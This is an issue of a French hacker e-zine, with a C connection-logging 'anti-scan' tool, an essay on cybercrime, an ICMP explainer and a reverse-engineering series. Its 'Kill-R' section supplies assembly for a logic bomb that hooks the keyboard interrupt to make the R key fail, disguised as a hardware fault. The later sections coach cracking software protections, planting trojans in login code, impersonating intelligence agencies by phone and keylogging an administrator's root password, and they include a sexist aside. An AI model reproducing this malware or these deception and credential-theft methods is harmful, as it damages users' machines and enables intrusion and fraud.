Vous pouvez le tester en scannant votre machine par:

bash$ RTCscan localhost
 
Dans le mAg3, nous attaquerons les techniques scan/anti-scan SYN, pour enfin venir  bout de certains mythes, qui circulent sur les chats (et qui arrangent nos amis les V), comme par exemple le pseudo-anonymat des scans SYN.
 
 
-----------------------------------CUT HERE------------------------------------- 
/* Code c d'un anti-scan tcp */
/* Written by Par4noId, member of the g4ng RTC */
/* http://www.chez.com/rtcgang */
/* Cet outil est un prog de scurit dvelopp dans le cadre RTCtools */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdlib.h>
#include <stdio.h>

void main(int argc, char *argv[]) {

    const char *port; 
    int msock;

    /* on definit la socket de reception: celle qui va recevoir les infos sur 	l'agresseur */

    struct sockaddr_in sin;
    int lsin; 
  
    if (argc != 2) { 
        printf("RTClog numro_du_port_que_l'on_ecoute\n"); 
        exit(1);
    }
 
    /* initialisation des variables */
    port = argv[1];
    lsin= sizeof(sin);

    /* affichage des infos pour la celebrite!! */

    printf("\nRTClog is a tOOl of RTCtech\n");
    printf("Written by Par4noID\n");
        
    msock = socket_passive (port,2); 

    /* le prog doit s'xcuter en tache de fond. Pour ce faire on copie le 	 	 process par l'appel fork() puis on teste le rsultat : si on est dans 	 le shell on sort. */

    if (fork() != 0) {
       exit(1);
    }

    /* on lance une boucle sans fin qui s'xcutera en tache de fond car le                   process du shell est fini */

    while(1) {

        /* accept attend une connection, lorsque celle-ci se produit remplit la            structure sin dont on affiche le champ sin_addr (addresse IP de celui qui a tabli la connection */

        accept(msock, (struct sockaddr *)&sin, &lsin);    

        /* on fait un appel system plutot que de se taper la prog xlib            correspondante!! */

        system("xmessage -center atHACK"); 
        printf("Scanning from: %s \n", inet_ntoa(sin.sin_addr));
    }
       
}


/* Code d'une fonction d'ouverture passive d'un port by Par4noID
   membre du g4ng RTC   */

int socket_passive (const char *port, int qlong) {

  /* Structure decrivant la socket que l'on ouvre*/
  struct sockaddr_in sin;
  int s;  

  /* Creation d'une socket tcp classique */
  s= socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (s<0) { 
     printf("erreur socket\n"); 
  } 

  /* On remplit la structure sockaddr_in correspondante pour tablir une socket      passive*/

  sin.sin_family = AF_INET;
  sin.sin_port = htons(atoi(port));
  sin.sin_addr.s_addr = INADDR_ANY;

  /* On associe la socket au numero du port par la fonction bind */

  if ( bind (s, (struct sockaddr *)&sin, sizeof(sin)) < 0 ) {
     printf("Erreur dans l'allocation de port\n");
  }

  /* Reste a placer la socket en mode passif */

  if ( listen(s, qlong) < 0 ) {
     printf("Erreur dans la mise en place du mode passif\n");
  } 

  return s;

}
-----------------------------------CUT HERE------------------------------------- 

                                                                  Par4noID 

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
                      Dbat sur la cybercriminalit 
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////


1) Quelques mises au point...
==============================

	Pour commencer, je dirais qu'il faut savoir de quoi on parle. En ce moment, on n'arrte pas de tout mlanger, les mdias ne faisant pas un travail assez objectif pour permettre d'claircir le monde underground de l'informatique. Dans ce monde, il y a diffrentes catgories de personnes, disons 4 pour simplifier :

	* Les Hackers : ce sont des spcialistes des rseaux, des failles de scurits, ils matrisent Linux comme personne, ils ont t forms par les Noway et les Noroute. ils sont capables de programmer leur propre utilitaires en C. Parmi les hackers, on trouve deux classes :
 -les hackers passifs qui ne font que divulguer des informations, des codes de programmes, des nouvelles failles... ce ne sont pas les plus mauvais, loin de l (ex : Neuralien). Ceux l restent dans la lgalit la plus totale (quoique la libert d'expression soit dans ce cas l parfois bafou :-o ).
 -les hackers actifs qui mettent en pratique tout ce qu'ils ont appris et crs (ex : feu Cod4). Ils ne sont pas inconscients, ils savent ce qu'ils font,  leur risques et prils. Certains ne se font jamais prendre, d'autres si. Remarquez que le deuxime scnario se produit plus souvent que le premier.

	* Les auteurs de virus et de worms : j'ai regroup ces deux catgories car maintenant, on confond tout. Mais mettons les choses au point une fois pour toute. Les virus sont des programmes qui cherchent  se reproduire le plus grand nombre de fois possibles tout en restant cach (cette caractristique est peut tre la plus importante). Les worms sont des programmes qui cherchent  se propager sur le plus grand nombre d'ordinateurs possible via le rseau Internet par exemple. Les virus sont cods en assembleur alors que le (nouveau) langage de prdilection des worms est le Visual Basic. ILoveYou, Mlissa sont des worms; Stoned, Jerusalem sont des virus. Remarquez que les premiers sont beaucoup plus connus que les seconds (hasard? non! :-) ). Ces personnes sont gnralement peu connues ou en tout cas moins bien connues que les hackers.

	* Les crackers : communaut trs large en France (TVA oblige), ils font sauter les protections sur les jeux et les logiciels chers... Les crackers sont trs organiss et ont un rseau dense en France. Ils ne reprsentent aucunement une menace pour les entreprises ou l'Etat. Ils mettent simplement en pratique la devise de la France, libert (ils craquent les programmes qu'ils veulent) galit (pensez  toutes ces personnes pour qui 300F, le prix moyen d'un jeu constitue une vraie ruine, surtout quand le jeu est mauvais) fraternit (ils faut bien les aider un peu et leur offrir un service de qualit).

	* Les Tocards : la plus impotante (en nombre) des quatre catgories, ces personnes n'ont  mon avis rien  faire dans le monde underground. Cette catgorie regroupe :
 -ceux qui se disent hacker et qui ose avoir un site (ex : cccf pour ne citer que les champions de la catgorie).
 -ceux qui se disent hacker mais qui n'ont ni site, ni rputation, rien ne pouvant les identifier comme de vritables hakers mais qui sont hackers parce que c'est  la mode pour monter une entreprise informatique (ex : Red Dragon (?), Billy the hacker).
 -ceux qui compilent les programmes qu'ils trouvent sur les sites de hackers sans savoir ce que le programme en question fait (a serait un programme qui installe une backdoor, ils n'y verraient que du feu) (ex : les deux phillipins qui se sont fait arrt pour ILoveYou).
 -ceux qui utilisent des programmes tels Backorifice ou autre cheval de Troie. On en a dj parl dans RTC mag n1, on va pas revenir dessus.

2) Alors, on peut discuter...
==============================

	Maintenant, parlons un peu de ce Forum sur la cybercriminalit... Posons les bonnes questions, celles qui mritent une rflexion, et pas des questions dont on peut trouver les rponses sur le site de Mykraussophte.

    Qui tait prsent  ce forum? Les industriels de l'informatique et les Etats membres du G8, autrement dit les gogols qui s'amusent  programmer des bugs et des failles et les pigeons qui sont chargs de protger ces bugs et ces failles contre les hackers. Forum hautement qualifi pour parler de cybercriminels.

    Qui est accus de cybercriminalit? On a mis dans le mme panier les Hackers, les auteurs de virus et de worms, les crackers, les donneurs de mp3, les tocards et les pdophiles. Ridicule. Pourquoi ne pas confondre Bernard Tapie, Francis Heaulme, le voleur de scooter de mon quartier, Marc Dutroux, Jorg Haider, un dealer d'hrone et Rezala. Voil o on en est arriv, c'est pitoyable. Surtout, bravo  tous les membres du forum pour leur contribution gnreuse  cette avance significative du dbat...

    Qui sont les cybercrimels? (a c'est une question pertinente) Les cybercriminels sont ceux qui vendent des programmes plusieurs milliers de francs et une mise  jour six mois plus tard, ceux qui font des antivirus incapables de dtecter de nouvelles versions de virus rpandus alors qu'il est tellement plus simple d'installer Linux pour limiter les attaques de worms (parce qu'un .vbs sous Linux, a marche pas fort), ceux qui entretiennent l'image nfaste du monde underground et font tout pour le dtruire (les V sont nos amis, ils faut les aimer aussi... ;-) )...

    Comment lutter efficacement contre les cybercriminels? Installer Linux, s'intresser au monde underground car il est vaste et il faut du temps, ne pas croire le premier journaliste de TF1 venu qui prtend tout savoir sur la cybercriminalit alors qu'il ne comprend mme pas le mot Power qui est crit sur son PC. Ensuite, apprendre le C et l'assembleur, lire et comprendre les Noway et les Noroute, ne pas croire qu'on va tout blaster et rester humble, ne pas faire copain-copain avec les V. Enfin, ouvrir un site pour y parler de choses intressantes et instructives pour les futurs membres du monde underground. C'est en voluant qu'on apprend.

    Le monde underground franais a encore beaucoup  prouver face aux reste du monde. Dans tous les autres pays europens, au Canada et aux Etats Unis, des groupes ont russi  survivre et  tre maintenant des groupes de classe internationale (ils ont pas eu les V sur le dos). L'underground franais n'a plus qu' suivre ces exemples en n'oubliant jamais qui furent les pionniers franais et dont la plupart ont t tout simplement busted. La RTC n'est pas et ne veut pas tre le nouveau Phe, laissons le matre  sa place. La RTC veut continuer le travail commenc en 1994, continu en 1997 et jamais achev. Je lance un appel  tous les micros groupes qui veulent en finir avec l'anonymat. Allons tous ensemble de l'avant.

3) Greets
==========

	Cet article est ddi  NeurAlien qui fut sans doute le plus grand hacker franais mais qui en plus tait d'une intelligence rare au niveau des ides qu'il a dveloppes dans les Noway. Chapeau bas, monsieur...

                  						By Androgyne
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
					ICMP my friend
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

Qui n'a jamais t victime de cette sauvagerie qu'est l'erreur de 
transmission TCP/IP qui bloque toute ventuelle transmission? 
Je suppose qu'il y en a peu! Moi le premier, on me la fait en moyenne 
3  4 fois par semaine. A quoi est d ce pb? 

En fait c simple. Les connexions TCP/IP sont trs complexes et pendantles changes de donnes, il y a des rats :) par forcment trs avantageux,d'ailleurs. :(
Mais bon, donc dans ces connexions, des millions de donnes transites et les seuls matres  bord, sont le serveur, et le routeur! Ils reoivent toutes les donnes et s'ocupent de les rediriger selon la vieille technique du "pipe" sous UNIX, LINUX aussi bien que sous Windows. C'est  dire qu'ils s'occupent tous deux de rediriger les paquets afin de les acheminer du mieux qu'ils peuvent jusqu' votre machine. Seulement il n'y a pas qu'une seule personne connecte, de ce fait des erreurs dans les paquets transmis interviennent : pb d'addressage, pb de contrle de flux, mauvaise transmision des paquets pour cause de saturation du rseau, mauvaise fragmentation, bref les raisons sont multiples! Un seul protocole est charg de grer ces erreurs, il se nomme le protocole ICMP : Internet Control Message Protocol. La fonction principale de ce protocole est de renvoyer vers l'emetteur des messages d'erreur quand les datagrammes rencontrent certains problmes sur leurs chemins jusqu'au destinataire. 
Ce protocole est obligatoirement support par toute machine quelque soit sa plate-forme. Ces paquets sont achemins dans un datagramme IP. Ils possdent alors les mmes caractristiques, TTL, etc... :) ==> renvoi  l'article de P4r4noID!
Je me dois de rajouter une petite chose, ce champ TTL(Time To Live); prend comme valeur par dfaut 32 ou 64. De plus, il existe sous Linux comme sous Windows un utilitaire nomm Traceroute, ou TRACERT.EXE sous Wx. Son nom parle de lui mme! :) En fait, cet utilitaire opre trs facilement. Il met des paquets vers une destination donne en augmentant  chaque fois la valeur du champ TTL. Chaque paquet est alors dtruit par un routeur car le TTL arrivait  0, lors
de son passage vers lui. Des messages ICMP sont alors renvoys permettant d'identifier les routeurs qui se trouvent sur le trajet d'un point X  un point Y. Avec X l'emetteur, et Y le destinataire, vous l'aviez compris! 

La structure de ces paquets est des plus simples : 

--------------------------------------------------------------------
|     TYPE (8 bits)    |      CODE (1 octet)      |   SOMME DE      |                    |                      |                          | CONTROLE(2 octs)|
---------------------------------------------------------------------
|	                DONNEES DE TAILLE VARIABLE (variable)         |                    |                                                                   |
---------------------------------------------------------------------

Le champ TYPE : Ce champ contient un code qui identifie la fonction ICMP de message.

Le champ CODE : Ce champ dfini les diffrents messages que transporte ICMP alors mme qu'ils sont du mme type. Si la valeur est 0, ce champ ne possde pas de variante.

Le champ SOMME DE CONTROLE : Ce champ contient un chiffre qui est la somme de toutes les donnes que contient le paquet ICMP. L'algorithme utilis est le mme que celui utilis pour les sommes de contrle des paquets IP.

Il faut savoir qu'il y a plusieurs grands types de fautes :

1) DESTINATION INACCESIBLE.
2) EXTINCTION DE SOURCE.
3) REDIRECTION.
4) PROBLEMES DE PARAMETRAGES.
Ce sont les grands types de problmes que dtecte ICMP et pour lequel il est employ.

Quelques petites explications seraient les bienvenues. C pourquoi je m'emploi  cette tche!
Allons-y...

1) C un type de message qui est gnr par un routeur ou un ordinateur destinataire en cas d'indisponibilit de la (personne), plutt la machine,  joindre. Lorsqu'un routeur ne peut joindre le destinataire d'un paquet de donnes, il dtruit ces dernires puis se charge de renvoyer un paquet ICMP ordinateur inaccessible. Si le routeur est incapable de router vers un routeur suivant, il renvoie un paquet ICMP encore, portant la mention : rseau inaccessible.

Maintenant, rflchissons, il existe pour chaque protocole un MTU, ce MTU (Maximum Transmission Unit), est diffrent pour chaque protocole : Ethernet 1500octets; PPP 1500octets; PPP(faible dlai)296octets. Ce MTU ne descend pas en dessous de 68 octets et ne monte pas au del de 65535octets.
Que se passe t'il lorsqu'un datagramme arrive  un routeur? Le protocole de la couche d'interconnexion interroge l'interface rseau sur laquelle le paquet sera mis afin justement d'obtenir des infos sur son MTU! Si la taille de ce datagramme dpasse celle du MTU, alors, en toute logique, le datagramme est fragment. 
PS: Je fais une grave faute en parlant de paquet IP, cf Article1 TCP/IP by SnEaKie. On parle de paquet UDP, mais de datagramme IP. (C La Base...??!!) Il existe dans l'en-tte IP (et non le header==> parlons franais, ne nous laissons pas anglicis!!!) un champ qui dfinit si les datagrammes transmis doivent tre fragment ou non. Si ce champ, pour je ne sais quelle raison :), se trouve  1, alors imaginons la suite en schma:

	ETAPE1 : A ---------Connexion PPP--------------> B (routeur)    
	Vous avez comment a se passe, je zipe les dtails...cf SCIENTIST.

	ETAPE2 : A <--------Envoi de datagrammes-------- B
	Ici, il faut le dtail.

		DETAILS ETAPE 2:
            A <--Routeur1--Routeur2--Routeur3--Routeur4--Routeur5-- B

En fait, il ne faut pas croire que la liaison s'tablie entre votre machine et le routeur directement, le trajet est encombr de multiples autres routeurs, et donc les donnes traversent plusieurs routeurs. Seulement, les donnes peuvent passer indpendemmant par un routeur sous NT4.0(bientt NTFS5.0), que sous un routeur UNIX, Linux, Novell, etc... De ce fait, les MTU changent.
		   
            A <--Routeur1--Routeur2--Routeur3--Routeur4--Routeur5-- B
		       MTU         MTU       MTU       MTU       MTU  
		     1500oct.     576oct.   1500oct.  276oct.   1000oct.

En ralit cela donne plutt a:

		A <--Routeur--Routeur--Routeur--Routeur--Routeur------- B
		    |		\    |      /           |     /
                |        \   |     / 		|    /
		 Routeur      \Routeur/----------Routeur/

Les interconnexions rsaux entre les diffrents routeurs - qui sont par dfinition accesibles par tout le monde afin d'tre redirig jusqu' la destination finale "demande" en quelque sorte, dans l'en-tte IP, par le biais d'une simple addresse IP qui est l'ordinateur ou destination finale - sont trs complexes ce qui fait qu'une connexion qui vise un ordinateurA peut trs bien passer par 32 ou 64 routeurs avant d'aboutir (article sur le TTL de Par4noID..). Ce qui fait que le facteur rique d'erreur de trransmission est multipli par le nbre de routeur traverss. Certains routeurs redirigent les connexions vers d'autres du fait de leur trop fort encombrement, entendez par l, une trop forte solicitation du routeur par des ordinateurs distants. 
 
Le schma le montre, il est impossible de dfinir  l'avance, non seulement le chemin que va prendre votre paquet mais aussi le MTU, il change en fonction des routeurs et ce sont eux, selon la mthode dcrite plus haut qui vont se charger de refragmenter les donnes.

Donc prenons le cas o, votre datagramme fasse 1500octets et que vous mettez son champ de fragmentation  1, c a d qu'il ne sera jamais fragment, le routeur dont le MTU est 576octets ne pourra pas l'acheminer correctement : il tentera de le fragmenter mais chouera, il renverra alors un paquet ICMP. 
PING ancienne version a t retir justement  cause d'une chose, il pouvait gnr des paquets de donnes de plus de 65535 octets, en l'occurence 65536 octets qui est la valeur maximale multiple de 8 (1 octet = 8 Bits; Binary Coded Digits). De ce fait, lorsque l'ordinateur distant recevait le paquet de 65536 octets, que faisait-il?
Alors que la valeur max devait tre 65535, il essayait qd mme de le dmultiplexer : moralit ==> Gros Plantage. Imposibilit du systme  dmultiplexer le tout ( pour ceux qui ne savent pas ce que c'st: renvoi  article 1 RTCMag SnEaKie:moi! sur TCP/IP).
Facile, on a qu' faire pareil et on fera tout planter!
Non, depuis, le pb a t pali : on peut toujours envoyer des paquets de 65536 en programmant en C: seul incovnient le systme distant ne se fera plus berner => il ne dmultiplexe pas! Ca ratte pour pas dire autre chose...

2) EXTINCTION DE SOURCE

Ces messages sont d'une grande importance dans le cas ou l'ordianteur et le serveur possdent des connexions rseaux fonctionnants  des dbits trs divers. Lorsque la requte d'un ordiXX se fait a 24000bps et que le servuer possde une ligne allant  56000bps, les rponses demandes vont s'ammasser  une vitesse telle que l'ordiXX va avoir ses mmoires tampons trs rapidement remplies, il va donc y avoir une saturation de la connexion entre les deux. Lorsqu'une telle chose arrive, il faut que l'ordiXX se charge de renvoyer un message ICMP au serveur lui demandant (en gros) de ralentir son envoi d'info. car le pauvre est en train d'en baver pour tout trater...(cf ordi. de Scientist  ce qui parat).
Donc le message ICMP de ce type : type4, code0 ne signifie pas ncessairement que des donnes ont t perdues mais ce message prcde une situation qui est entrain de virer sur le critique, ce message se veut donc tre prventif afin d'viter d'ventuelles pertes de donnes ce qui rendrait toutes les donnes prcdemment envoyes totalement inutilisables.
Lorsqu'il arrive qu'une machine reoive ce genre de message, elle se doit de ragir, j'entends par l qu'elle se doit de rduire sa transmission de donnes vers l'ordi. distant jusqu' ne plus recevoir d'autres messages de ce type. Si la situation rendevient normale, l'ordi. metteur peut alors se permettre de raugmenter sa vitesse de transmission progressivement afin de ne rien brusqu!
Compte tenu du fait que les routeurs sont mieux quips en ce qui concerne les bandes passantes de donnes, ces genres de messages reprsentent un contrle de flux lmentaire plus gnralement mis par des ordi. distants. 

3) REDIRECTION   

Ces messages sont mis lorsu'un routeur s'aperoit qu'une destination  est accesible sans ses services. Imaginons le schma suivant:

Rseau nIII

************
*  ORDI 1  *-------------/Machine A\        -----------/Machine C\
************                  |             |               |
	|                       |             |               |
      |                       |             |               |
      |                       |             |               |
      |                       |   |---------|          ************
      |------------------/Machine B\-------------------*  ORDI 2  *
									 ************

Donc, prenons le cas suivant simple: (le schma est nul d'acc ms bon ps le tmps!)
	- L'ordinateur1 veut envoyer des donnes a l'ordinateur2.
	- L'ordi.1 envoie donc ces donnes au routeurA(machineA).
	- Le routeurA se rend compte que pour que le paquet arrive  	  destination, il doit joindre le routeurB(machineB): il le 	  voit dans sa table de routage. Il se rend compte d'une chose, 	  c que le routeur B se trouve sur le mme rseau que la 		  machine dpart ==> Ordi1
	- Le routeurA se charge tout de mme d'envoyer les donnes au 	  routeurB et se charge en plus, de renvoyer un message ICMP 	  redirection type5 code0,  l'ordi1 pour qu'il sache que 	  d'ornavant, il n'est plus ncessaire de passer par A pour    	  accder au rseau de l'ordi2.
	- L'ordi 1 va donc modifier sa propre table de routage suite  	  la rception de ce message.

Les ordianteurs htes ne sont pas en mesure d'mettre de tels messages, en fait seuls les seuveurs en sont capables. De ce fait ils indiquent quelles sont les routes les plus rapides pour atteindre des  rseaux lointains. Ces datagrammes ICMP contiennent un champ en plus ==> Pas con! le truc!
Ce champ contient l'adresse du routeur recommand, voici la structure de ce message:

--------------------------------------------------------------------
|     TYPE (8 bits)    |      CODE (1 octet)      |   SOMME DE      |                    |                      |                          | CONTROLE(2 octs)|
---------------------------------------------------------------------
|	           Adresse de passerelle Internet (4octets)           |                    |                                                                   |
---------------------------------------------------------------------
| 	      En-tte Internet + 8 octets datagrammes original        |
| 											  |
---------------------------------------------------------------------
Les messages de redirection contiennet dans un champ spcifique, l'adresse du routeur permettant de l'atteindre plus aisment.

Code		Dfinition
0		Redirection de datagrammes pour le rseau.
1           Redirection de datagrammes pour l'ordi. hte.
2           Redirection de datagrammes pour le type de service et de  		rseau.
3           Redirection de datagrammes pour le type de service et 		l'ordi. hte.
Les codes prcisent si l'adresse du routeur permet d'accder plus efficacement  un rseau entier ou  un ordinateur plus particulier. Le code utilis par l'metteur du datagramme ICMP dtermine le format de l'entre de la table de routage du destinataire.

4) PROBLEMES DE PARAMETRAGES

Les routeurs ou les ordinateurs distants ont leur mots  dire ici. L'un ou l'autre sont capables d'envoyer de tels messages. Cela survient dans le cas o une machine reoit des datagrammes dont len-tte IP est rron et donc qu'il ne permet pas l'utilisation des donnes. Ces messages peuvent comporter les trois codes suivants:

Code		Dfinition
0		En-tte IP erron
1		Option obligatoire manquante
2		Longueur errone
Un tel message ne permet d'alerter que pour des pbs graves qui ncessitent la destruction du datagramme. Il contient encore un champ en plus qui indique le numro d'ordre de l'octet de l'en-tte IP qui pose pb.

--------------------------------------------------------------------
|     TYPE (8 bits)    |      CODE (1 octet)      |   SOMME DE      |                    |                      |                          | CONTROLE(2 octs)|
---------------------------------------------------------------------
|   Pointeur (1 octet) |         Non utilis (3 octets)             |                    |                                                                   |
---------------------------------------------------------------------
| 	      En-tte Internet + 8 octets datagrammes original        |
| 											  |
---------------------------------------------------------------------

Voil, c'est tout, maintenant j'espre que cela sera assez clair pour l'ensemble car je manque considrablement de temps.
Si pb il ya : Rtcgang@yahoo.fr ==> n'hsitez pas!

                                                                  SnEakie

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
                                 2600 France
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
  
  2600... La simple vocation de ce nombre mythique fait frmir de respect la moindre graine de hacker. Il n'ait aujourd'hui plus besoin de prsenter la clbre organisation mondiale dont les runions sont aussi connues dans les milieux H/P/C/V mondiaux que dans ceux de la scurit.
  Il y a quelques mois naquit le 2600 France. Quand on porte un tel nom, on se doit d'en respecter les rgles, ce que fit son organisateur rompant  la rgle absolue des runions tous les premiers vendredi du mois.
  Les critiques ne tardrent pas.
Je m'adresse ici  tout ceux qui critiquent ce genre de manifestation. Il est tant de comprendre que le sous-dveloppement de l'underground francais tient autant aux tarifs prohibitifs de FT,  l'omniprsence des V, qu'au refus de certains de s'organiser. Le 2600 francais est une bonne ide. Je n'tais  la premire runion, cependant rendez-vous de LAMERZZZ ou non, il est temps qu'existe enfin en France une vritable organisation. Le g4ng RTC soutient tout ceux qui tentent d'unifier un tant soit peu le hacking francais! Toi, El3te parmi les El3ites, toi qui mprise ce genre de manifestation, toi qui mprise notre groupe, notre mAg, saches que tu n'est rien, tu ne dfends rien, aucune ide, aucune libert. Tu es au hacking ce que Le Pen est  la plitique, tu critiques toute tentative intelligente de progrs, tu t'enfermes dans une dnonciation constante et non fonde. Tu n'associes au hacking aucune ide de lutte, tu ne vois par libert que la tienne. Tu oublies le fondement meme de la communaut H/P/C/V. 
Tant que l'esprit 2600 sera respect, tant que les V seront impuissants, nous soutiendrons ces runions, pour qu'enfin puissent etre organiss des HIP ou des runions CCC francais.      
											Par4noID

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
                           La bombe du mag : Kill-R
///////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////// 

   Cette fois, la bombe va simuler une panne clavier (voir l'article Virus et dommages matriels). Nous allons dtourner l'interruption 09h. Ce code est un peu plus complexe qu'auparavant mais il faut savoir voluer et aborder des domaines un peu plus hardus...

   J'ai baptis cette bombe Kill-R. Elle cause une pseudo-dfaillance sur la touche R. Dans la premire version ci dessous, on utilise une gachette triviale, un compteur que l'on incrmente. Aprs avoir appuy sur 20000 touches (c'est  dire 20000 appels  l'interruption 09h), la bombe explose, le R devient inutilisable.

--------------------------------------------------------------------------------
NEW_INT_09:
	push ax
	in al,60h
	test al,80h
	pop ax
	jnz INT_09
	call TRIGGER
	jnz INT_09
	call BOMB
  INT_09:
	jmp dword ptr cs:[Old_09]

TRIGGER:
	inc cs:[Counter]
	cmp [Counter],4E20h		;counter=20000?
	jnc NEXT
	mov byte ptr [Activated],1
  NEXT:
	cmp [Activated],1
	ret

BOMB:
	push ax
	in al,60h
	or al,80h
	cmp al,43h
	pop ax
	jnz INT_09
	push ax
	mov al,20h
	out 20h,al
	pop ax
	iret

Counter dw 0
Activated db 0
--------------------------------------------------------------------------------

	Cette premire version peut tre amliore par l'ajout d'un gnrateur de nombres alatoires. Le compteur dmarre  M/4 (c'est  dire qu'au dbut, le R a 25% de chances de ne pas marcher). Puis le compteur est incrment  chaque touche presse... Le R va donc mettre quelques jours  devenir inutilisable : une "vraie" panne bien simule.

--------------------------------------------------------------------------------
;Linear Congruential Pseudo Random Number Generator
;the equation is X(n+1) = (A*X(n) + C) mod M

M equ 43691
A equ 13
C equ 14449

GET_RANDOM:
	push bx
	push cx
	push dx
	mov ax,[Rand_Seed]
	mov cx,A
	mul cx,A
	add ax,C
	adc dx,0
	mov cx,M
	div cx
	mov ax,dx
	mov [Rand_Seed],ax
	pop dx
	pop cx
	pop bx
	ret

Rand_Seed dw 0
--------------------------------------------------------------------------------

	Et on remplace la routine TRIGGER par celle-ci...

--------------------------------------------------------------------------------
TRIGGER:
	push ax
	call GET_RANDOM
	inc cs:[Rand_Counter]
	cmp [Rand_Counter],ax
	pop ax
	jnc NEXT:
	mov byte ptr [Activated],1
  NEXT:
	cmp [Activated],1
	ret

Rand_Counter dw 10922			;=M/4
Activated db 0
--------------------------------------------------------------------------------
                         						By Androgyne

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
				    Reverse engineering
					Part I, II & III		  
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
  
Disclaimer : L'auteur fournit ici un texte  but purement informatif. Il ne peut-tre responsable de l'usage fait des informations fournites.

L'engineering est l'art de,  partir d'un besoin, de crer un systme rpondant  ce besoin (c'est en particulier le metier des ingenieurs).L'inverse engineering est, lui, l'art de comprendre un systme dj cr. 
Tout le monde  dj fait du reverse engineering (en dmontant un qq jouer quand on est gosse). Pour notre part le reverse engineering est la base de notre science sans reverse engineering les hackers n'existerait surement pas...
En informatique, le reverse engineering consiste  comprendre le code d'un programme, sa structure interne, le pourquoi d'une faille...

Une personne dniant le reverse engineering ne sera jamais un vrai hacker, il restera tout au plus un pirate juste capable de compiler des exploits ou d'utiliser des
commandes trouv dans un file quelconque.

J'ai donc dcider d'crire une srie de file portant sur le RE.

Part I : Le Soft-cracking
-------------------------
Le soft-cracking consiste  la supression des protections logicielle.

Le soft-cracking ncssite une forte connaissance en asembleur.
Le principe est stupide : on analyse la structure d'un programme en le debuguant et on cherche  trouver la protection.

En gnral, la structure d'une protection quelqu'elle soit est un test suivit d'un saut conditionnel (type j??).
le but est de comprendre dans quel cas on vas effectuer le saut pour pouvoir le remplacer par un saut non conditionnel ou une srie de nop (non operand) pour griller la protection.

J'en ai fini sur le RE dans le soft-cracking. J'expliquerai peut-tre plus en dtail sur l'art et la manire de cracker un soft plus tard.

Ressource : Soft-Ice : Debugger
            WDASM    : Desassembler

Part II : L'analyse de source
-----------------------------
Beaucoup de newbies se retrouve dconcert face  la quantit de code utilise dans le monde du HVU mais il faut comprendre que l'on ne peut pas se prtendre hacker si l'on ignore comment coder.
L'art du codage est un art trs important dans notre monde, je ne vais pas m'tendre ici sur le codage car c'est un trs vaste dommaine que je commence tout juste  maitriser aprs 8 ans de pratique.

En quoi l'analyse d'un code source peut nous aider ? et bien en autre  pouvoir y insrer notre code dans un programme sans que cela soit trs visble (modifier le login.c par ex),  dcouvrir des failles dans le code d'un prog setuid (pour faire du buffer overflow).
Mais cela sert galement pour comprendre les exploits raliser par certains d'entre nous et pouvoir les adapters...

Autant de raison qui font que savoir coder et savoir comprendre un code sont trs important.

La mthode : il n'y a pas vraiment de mthode. La seule que je puisse vous conseiller est de bien connatre le langage utilis.
Ce qu'il faut surtout c'est se mettre dans l'esprit du crateur du code pour pouvoir comprendre comment le code fonctionne : il faut penser comme lui lorsqu'il a crer le code... et surtout, si le but est de trouver une faille ou y insrer un trojan, ne zapper jamais les fonctions trivialles :
c'est l que se trouve souvent les points intressants.

III. Le social engineering
--------------------------
Le SE est l'art de se faire passer pour qq1 d'autre pour pouvoir obtenir des informations. Le SE est du RE car il consiste  bien comprendre l'esprit d'une personne dons on va exploiter les faiblesses (l'esprit est une cration de la nature).

Une des mthode classique du SE est de se faire passer pour une passer qui a l'habitude de donner des ordres au prs d'une personnes qui a l'habitude d'en recevoir.
On utilise de prfrence le tlphone (on ne nous voit pas).
Une bonne mthode consiste  se faire passer pour appartenant  une socit de scurit (RG, ou pire DST ou DGSE, ou encore une boite de scu info).
On vite de laisser la personne avoir des doute sur notre id (actuellement il faut par ex ne pas afficher le num de tel en prtextant : on a des lignes modem dessus et il ne faut pas que n'importe qui puisse y accder ; on noie la personne sous un flot d'info (avec des acronymes) pour que la personne croie que l'on appartient vraiment au service concern).
Cependant ne vous dites pas qu'il est inutile de faire passer pour un couillon. En effet, par exemple un hotliner sera plus apte  vous filer des info s'il pense que vous n'en ferez rien. Un autre exemple est dans mon bahut les responsables info (les admins si on peut les appeler comme cela) ont la facheuse tendance de corriger les pbs du systme en se logguant root local : il m'aurait suffit de coder un intercepteur de touche (2 syst sur 1 becane win 3.11 et linux), de l'installer, de faire planter la machine sous le compte public (script style #foow
mkdir foo
cd foo
cp ../foow ./
./foow &
), de logout, de demmander  une amie (trs important que ce soit une fille -> elles sont rputes pour tre des burnes en info) de se logger et d'essayer de sauvegarder qqchose et puis (rien ne marchera), de demander de l'aide  l'adm et j'aurait chopper le root.

Ainsi pour bien pratiquer le SE il faut savoir la personne que l'on va avoir en face et surtout s'adapter...

Part IV : Le Carding
--------------------
Le carding est la science qui consiste a l'utilisation des microcontrolleurs et des bandes magnetiques. Il y a tres peu de doc sur le carding du au secret qui regne autour (protection des CB et des telcards). Le carding est donc une science entierement base sur le RE. Elle permet entre autre de chopper des codes sur les cartes bancaires (plus dur depuis qu'ils ont change le format des bandes magnetiques) ou de creer ses propres cartes tel.

Ressources : Cartes a puces... de Patrick GUEULE (ETSF)

Part V : Le Sniffing
--------------------
Le sniffing ne sert pas seulement a chopper des roots telnet ou a espionner un reseau mais egalement a analyser les protocoles reseaux des logiciels. Il est, en effet, frustrant de se trouver face a un protocole dont on ignore le fonctionnement. Il est parfois possible d'analyser le code du programme l'utilisant mais souvent laborieux lorsqu'on cherche juste a utiliser une partie de ce protocole (par exemple inserer une backdoor dans un download : tres difficile).
